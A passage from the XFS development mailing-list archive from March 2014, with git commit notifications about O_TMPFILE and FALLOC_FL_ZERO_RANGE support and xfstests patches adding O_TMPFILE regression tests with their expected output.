unlinked list and the directory entry is added. Finally its link count is bumped accordingly. Signed-off-by: Zhi Yong Wu Reviewed-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 99b6436bc29e4f10e4388c27a3e4810191cc4788 Author: Zhi Yong Wu Date: Wed Dec 18 08:22:40 2013 +0800 xfs: add O_TMPFILE support Add two functions xfs_create_tmpfile() and xfs_vn_tmpfile() to support O_TMPFILE file creation. In contrast to xfs_create(), xfs_create_tmpfile() has a different log reservation to the regular file creation because there is no directory modification, and doesn't check if an entry can be added to the directory, but the reservation quotas is required appropriately, and finally its inode is added to the unlinked list. xfs_vn_tmpfile() add one O_TMPFILE method to VFS interface and directly invoke xfs_create_tmpfile(). Signed-off-by: Zhi Yong Wu Reviewed-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 163467d3753e77e1d77da75727975cc3803a1dbc Author: Zhi Yong Wu Date: Wed Dec 18 08:22:39 2013 +0800 xfs: factor prid related codes into xfs_get_initial_prid() It will be reused by the O_TMPFILE creation function. Reviewed-by: Christoph Hellwig Signed-off-by: Zhi Yong Wu Signed-off-by: Ben Myers ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Thu Mar 13 03:34:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 44F1A7F7E; Thu, 13 Mar 2014 03:34:40 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-collapse-range, updated. xfs-for-linus-v3.14-rc1-2-12924-g376ba31 X-Git-Refname: refs/heads/xfs-collapse-range X-Git-Reftype: branch X-Git-Oldrev: e1d8fb88a64c1f8094b9f6c3b6d2d9e6719c970d X-Git-Newrev: 376ba313147b4172f3e8cf620b9fb591f3e8cdfa Message-Id: <20140313083440.44F1A7F7E@oss.sgi.com> Date: Thu, 13 Mar 2014 03:34:39 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-collapse-range has been updated 376ba31 xfs: Add support for FALLOC_FL_ZERO_RANGE from e1d8fb88a64c1f8094b9f6c3b6d2d9e6719c970d (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 376ba313147b4172f3e8cf620b9fb591f3e8cdfa Author: Lukas Czerner Date: Thu Mar 13 19:07:58 2014 +1100 xfs: Add support for FALLOC_FL_ZERO_RANGE Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same functionality as xfs ioctl XFS_IOC_ZERO_RANGE. We can also preallocate blocks past EOF in the same was as with fallocate. Flag FALLOC_FL_KEEP_SIZE will cause the inode size to remain the same even if we preallocate blocks past EOF. It uses the same code to zero range as it is used by the XFS_IOC_ZERO_RANGE ioctl. Signed-off-by: Lukas Czerner Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_file.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Thu Mar 13 03:36:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id CB4C07F80; Thu, 13 Mar 2014 03:36:35 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.14-rc1-2-12965-gfe986f9 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 7161d06f73f1b3efabd717661a41ecebb4c48e6b X-Git-Newrev: fe986f9d88ab8079c91669b7f175081f15491a80 Message-Id: <20140313083635.CB4C07F80@oss.sgi.com> Date: Thu, 13 Mar 2014 03:36:34 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated discards 7161d06f73f1b3efabd717661a41ecebb4c48e6b (commit) discards 14e637ca53fa257cbff7f73981dd87c457a6be1e (commit) discards 181d1a1134f5d4924c307ea90708e55c80eaf3b0 (commit) discards f13780692e659df3623461ca5398b66739a6c56f (commit) fe986f9 Merge branch 'xfs-O_TMPFILE-support' into for-next 5f44e4c Merge branch 'xfs-bug-fixes-for-3.15-2' into for-next 49ae4b9 Merge branch 'xfs-verifier-cleanup' into for-next 730357a Merge branch 'xfs-stack-fixes' into for-next b6db055 Merge branch 'xfs-collapse-range' into for-next 376ba31 xfs: Add support for FALLOC_FL_ZERO_RANGE ab29743 xfs: allow linkat() on O_TMPFILE files 99b6436 xfs: add O_TMPFILE support 163467d xfs: factor prid related codes into xfs_get_initial_prid() from 7161d06f73f1b3efabd717661a41ecebb4c48e6b (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit fe986f9d88ab8079c91669b7f175081f15491a80 Merge: 5f44e4c ab29743 Author: Dave Chinner Date: Thu Mar 13 19:14:43 2014 +1100 Merge branch 'xfs-O_TMPFILE-support' into for-next Conflicts: fs/xfs/xfs_trans_resv.c - fix for XFS_INODE_CLUSTER_SIZE macro removal commit 5f44e4c185ec5a4a438841cbd4983d0c4a106a4a Merge: 49ae4b9 fe4c224 Author: Dave Chinner Date: Thu Mar 13 19:13:05 2014 +1100 Merge branch 'xfs-bug-fixes-for-3.15-2' into for-next commit 49ae4b97d760d2e63394b96a7e14cbb43b9dc942 Merge: 730357a ce5028c Author: Dave Chinner Date: Thu Mar 13 19:12:33 2014 +1100 Merge branch 'xfs-verifier-cleanup' into for-next commit 730357a5cb72d9754a396a350653ff98a9e44783 Merge: b6db055 93a8614 Author: Dave Chinner Date: Thu Mar 13 19:12:13 2014 +1100 Merge branch 'xfs-stack-fixes' into for-next commit b6db0551fddfc8826bc07fc99d64d830530b2d77 Merge: 027f185 376ba31 Author: Dave Chinner Date: Thu Mar 13 19:11:06 2014 +1100 Merge branch 'xfs-collapse-range' into for-next ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_file.c | 9 ++-- fs/xfs/xfs_inode.c | 123 +++++++++++++++++++++++++++++++++++++++++++++--- fs/xfs/xfs_inode.h | 12 +++++ fs/xfs/xfs_iops.c | 16 +++++++ fs/xfs/xfs_shared.h | 4 +- fs/xfs/xfs_symlink.c | 5 +- fs/xfs/xfs_trans_resv.c | 54 +++++++++++++++++++-- fs/xfs/xfs_trans_resv.h | 2 + 8 files changed, 207 insertions(+), 18 deletions(-) hooks/post-receive -- XFS development tree From david@fromorbit.com Thu Mar 13 03:49:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 33BE87F7B for ; Thu, 13 Mar 2014 03:49:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 07CC38F8040 for ; Thu, 13 Mar 2014 01:49:58 -0700 (PDT) X-ASG-Debug-ID: 1394700578-04bdf05dac522f40001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id mSwKqDOH2kIHtiFH for ; Thu, 13 Mar 2014 01:49:38 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqBCAEJwIVN5LJYePGdsb2JhbABZgwaDRoUMtEeFWIEaFwMBAQEBHxkNKIIlAQEBBDocIxAIAw4KCSUPBSUDBxoTh3jTaRcWjkYHgySBFASYRIpXixgp Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 19:19:37 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WO1Ka-0002Cq-Sh; Thu, 13 Mar 2014 19:49:36 +1100 Date: Thu, 13 Mar 2014 19:49:36 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6 v2] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: <20140313084936.GF4263@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/6 v2] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355679-11160-1-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394700578 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3836 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 08:14:33PM +0100, Lukas Czerner wrote: > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > It can be used to convert a range of file to zeros preferably without > issuing data IO. Blocks should be preallocated for the regions that span > holes in the file, and the entire range is preferable converted to > unwritten extents - even though file system may choose to zero out the > extent or do whatever which will result in reading zeros from the range > while the range remains allocated for the file. > > This can be also used to preallocate blocks past EOF in the same way as > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > size to remain the same. > > You can test this feature yourself using xfstests, of fallocate(1) however > you'll need patches for util_linux, xfsprogs and xfstests which are going to > follow soon. > > I tested this mostly with a subset of xfstests using fsx and fsstress and > even with new generic/290 which is just a copy of xfs/290 using fzero > command for xfs_io instead of zero (which uses ioctl). I was testing on > x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. > > ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 > generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 > generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 > generic/316 generic/300 generic/290 ext4/242; > > Note that there is a work in progress on FALLOC_FL_COLLAPSE_RANGE which > touches the same area as this pach set does, so we should figure out > which one should go first and modify the other on top of it. > > This has been based on top of xfs-collapse-range so it does not contain ext4 > collapse range changes. Lukas, I have merged patches 4 and 6 into the xfs-collapse-branch. That branch should now remain stable, so you can rebase all the ext4 collapse range and zero range bits on top of tha branch and Ted can pull it into the ext4 tree if he wants to pull it in. Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+dc5a43fb99f412d365ed+3854+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 13 05:09:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 238A57F81 for ; Thu, 13 Mar 2014 05:09:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0D679304043 for ; Thu, 13 Mar 2014 03:09:39 -0700 (PDT) X-ASG-Debug-ID: 1394705373-04bdf05daa526ee0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id V6KocPpFgBSD0hxM (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 03:09:33 -0700 (PDT) X-Barracuda-Envelope-From: BATV+dc5a43fb99f412d365ed+3854+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WO2Zx-0006hy-82; Thu, 13 Mar 2014 10:09:33 +0000 Date: Thu, 13 Mar 2014 03:09:33 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs_io: add support for flink Message-ID: <20140313100933.GA25703@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2] xfs_io: add support for flink References: <20140220220000.GA17541@infradead.org> <20140221004933.GA9445@infradead.org> <20140225195218.GA14110@infradead.org> <20140225233556.GI13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225233556.GI13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394705373 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3837 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 26, 2014 at 10:35:57AM +1100, Dave Chinner wrote: > Looks like some noise got into that hunk. Other than that: > > Reviewed-by: Dave Chinner > > I'll remove that extra line when I commit it. ping? From BATV+dc5a43fb99f412d365ed+3854+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 13 05:14:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E570A7F83 for ; Thu, 13 Mar 2014 05:14:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C063C304053 for ; Thu, 13 Mar 2014 03:14:35 -0700 (PDT) X-ASG-Debug-ID: 1394705673-04bdf076f024ff10001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id UOMj0ZN5SWKckUZQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 03:14:33 -0700 (PDT) X-Barracuda-Envelope-From: BATV+dc5a43fb99f412d365ed+3854+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WO2en-00084F-NT for xfs@oss.sgi.com; Thu, 13 Mar 2014 10:14:33 +0000 Message-Id: <20140313101433.608283621@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 13 Mar 2014 03:13:05 -0700 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 3/3] xfs: add a test for unlinked inodes due to O_TMPFILE References: <20140313101302.996355155@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 3/3] xfs: add a test for unlinked inodes due to O_TMPFILE Content-Disposition: inline; filename=0003-xfs-add-a-test-for-unlinked-inodes-due-to-O_TMPFILE.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394705673 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3837 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Make sure that we see unlinked inodes when shutting a filesystem down that has an open O_TMPFILE descriptor, and make sure that it has been deleted after a mount/umount cycle. Signed-off-by: Christoph Hellwig --- tests/xfs/006 | 89 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/006.out | 43 ++++++++++++++++++++++++++ tests/xfs/group | 1 + 3 files changed, 133 insertions(+) create mode 100755 tests/xfs/006 create mode 100644 tests/xfs/006.out diff --git a/tests/xfs/006 b/tests/xfs/006 new file mode 100755 index 0000000..7dae43d --- /dev/null +++ b/tests/xfs/006 @@ -0,0 +1,89 @@ +#! /bin/bash +# XFS QA Test No. 006 +# +# Test O_TMPFILE interaction with log recovery and repair. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Christoph Hellwig. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* + rm -f ${testfile} +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/repair + +# real QA test starts here +_supported_fs xfs +_supported_os Linux + +_require_scratch +_require_xfs_io_command "flink" + +testfile="${SCRATCH_MNT}/tst-tmpfile-flink" + +_scratch_mount + +# +# Test creating a r/w tmpfile, make sure it goes out to disk while still +# open using a freeze/thaw, and then shut down the filesystem. +# +$XFS_IO_PROG -x -T \ + -c "pwrite 0 4096" \ + -c "pread 0 4096" \ + -c "freeze" \ + -c "thaw" \ + -c "shutdown" \ + ${SCRATCH_MNT} | _filter_xfs_io + +_scratch_unmount + +# repair should find an unlinked inode now +_scratch_xfs_repair -n 2>&1 | \ + _filter_repair > $tmp.repair + +ino=`grep 'disconnected inode ' $tmp.repair | \ + head -1 | \ + awk '{print $3}' | \ + sed 's/,//'` + +cat $tmp.repair | sed "s/$ino/XXX/g" + +# filesystem should be clean after an unmount/mount cycle +_scratch_mount +_scratch_unmount + +_scratch_xfs_repair -n 2>&1 | _filter_repair + +# success, all done +status=0 +exit diff --git a/tests/xfs/006.out b/tests/xfs/006.out new file mode 100644 index 0000000..46f3b73 --- /dev/null +++ b/tests/xfs/006.out @@ -0,0 +1,43 @@ +QA output created by 006 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +Phase 1 - find and verify superblock... +Phase 2 - using log + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan (but don't clear) agi unlinked lists... + - process known inodes and perform inode discovery... + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +No modify flag set, skipping phase 5 +Phase 6 - check inode connectivity... + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +disconnected inode XXX, would move to lost+found +Phase 7 - verify link counts... +would have reset inode XXX nlinks from 0 to 1 +No modify flag set, skipping filesystem flush and exiting. +Phase 1 - find and verify superblock... +Phase 2 - using log + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan (but don't clear) agi unlinked lists... + - process known inodes and perform inode discovery... + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +No modify flag set, skipping phase 5 +Phase 6 - check inode connectivity... + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify link counts... +No modify flag set, skipping filesystem flush and exiting. diff --git a/tests/xfs/group b/tests/xfs/group index ba34650..2f896e1 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -3,6 +3,7 @@ 003 db auto quick 004 db auto quick 005 auto quick +006 auto quick 008 rw ioctl auto quick 009 rw ioctl auto prealloc quick 012 rw auto quick -- 1.7.10.4 From BATV+dc5a43fb99f412d365ed+3854+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 13 05:14:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1F0C67F88 for ; Thu, 13 Mar 2014 05:14:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B6E3BAC002 for ; Thu, 13 Mar 2014 03:14:35 -0700 (PDT) X-ASG-Debug-ID: 1394705673-04bdf05dab527290001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id JDAICjMezX281TzA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 03:14:33 -0700 (PDT) X-Barracuda-Envelope-From: BATV+dc5a43fb99f412d365ed+3854+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WO2en-00083g-IE for xfs@oss.sgi.com; Thu, 13 Mar 2014 10:14:33 +0000 Message-Id: <20140313101433.445012299@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 13 Mar 2014 03:13:04 -0700 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 2/3] generic: add a basic O_TMPFILE test References: <20140313101302.996355155@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 2/3] generic: add a basic O_TMPFILE test Content-Disposition: inline; filename=0002-generic-add-a-basic-O_TMPFILE-test.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394705673 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3837 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 Signed-off-by: Christoph Hellwig --- tests/generic/004 | 70 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/004.out | 6 +++++ tests/generic/group | 1 + 3 files changed, 77 insertions(+) create mode 100755 tests/generic/004 create mode 100644 tests/generic/004.out diff --git a/tests/generic/004 b/tests/generic/004 new file mode 100755 index 0000000..c653530 --- /dev/null +++ b/tests/generic/004 @@ -0,0 +1,70 @@ +#! /bin/bash +# FS QA Test No. 004 +# +# Test O_TMPFILE opens +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Christoph Hellwig. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f ${testfile} +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +_require_xfs_io_command "flink" + +testfile="${TEST_DIR}/tst-tmpfile-flink" + +# test creating a r/w tmpfile, do I/O and link it into the namespace +$XFS_IO_PROG -T \ + -c "pwrite 0 4096" \ + -c "pread 0 4096" \ + -c "flink ${testfile}" \ + ${TEST_DIR} | _filter_xfs_io + +if [ ! -f "${testfile}" ]; then + echo "failed to link testfile into place" + exit 1 +fi + +rm -f ${tmpfile} + +# test creating a r/o tmpfile. Should fail +$XFS_IO_PROG -Tr ${TEST_DIR} -c "close" | _filter_test_dir + +# success, all done +status=0 +exit diff --git a/tests/generic/004.out b/tests/generic/004.out new file mode 100644 index 0000000..b85c11c --- /dev/null +++ b/tests/generic/004.out @@ -0,0 +1,6 @@ +QA output created by 004 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +read 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +/mnt/test: Invalid argument diff --git a/tests/generic/group b/tests/generic/group index a99b6a1..ad86d11 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -6,6 +6,7 @@ 001 rw dir udf auto quick 002 metadata udf auto quick 003 atime auto quick +004 auto quick 005 dir udf auto quick 006 dir udf auto quick 007 dir udf auto quick -- 1.7.10.4 From BATV+dc5a43fb99f412d365ed+3854+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 13 05:14:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F240F7F90 for ; Thu, 13 Mar 2014 05:14:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DB53D304043 for ; Thu, 13 Mar 2014 03:14:37 -0700 (PDT) X-ASG-Debug-ID: 1394705673-04cbb054b9301500001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id c77keA3HlSgiatah (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 03:14:33 -0700 (PDT) X-Barracuda-Envelope-From: BATV+dc5a43fb99f412d365ed+3854+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WO2en-00082U-8G for xfs@oss.sgi.com; Thu, 13 Mar 2014 10:14:33 +0000 Message-Id: <20140313101302.996355155@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 13 Mar 2014 03:13:02 -0700 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 0/3] O_TMPFILE tests, v2 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-ASG-Orig-Subj: [PATCH 0/3] O_TMPFILE tests, v2 X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1394705673 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: 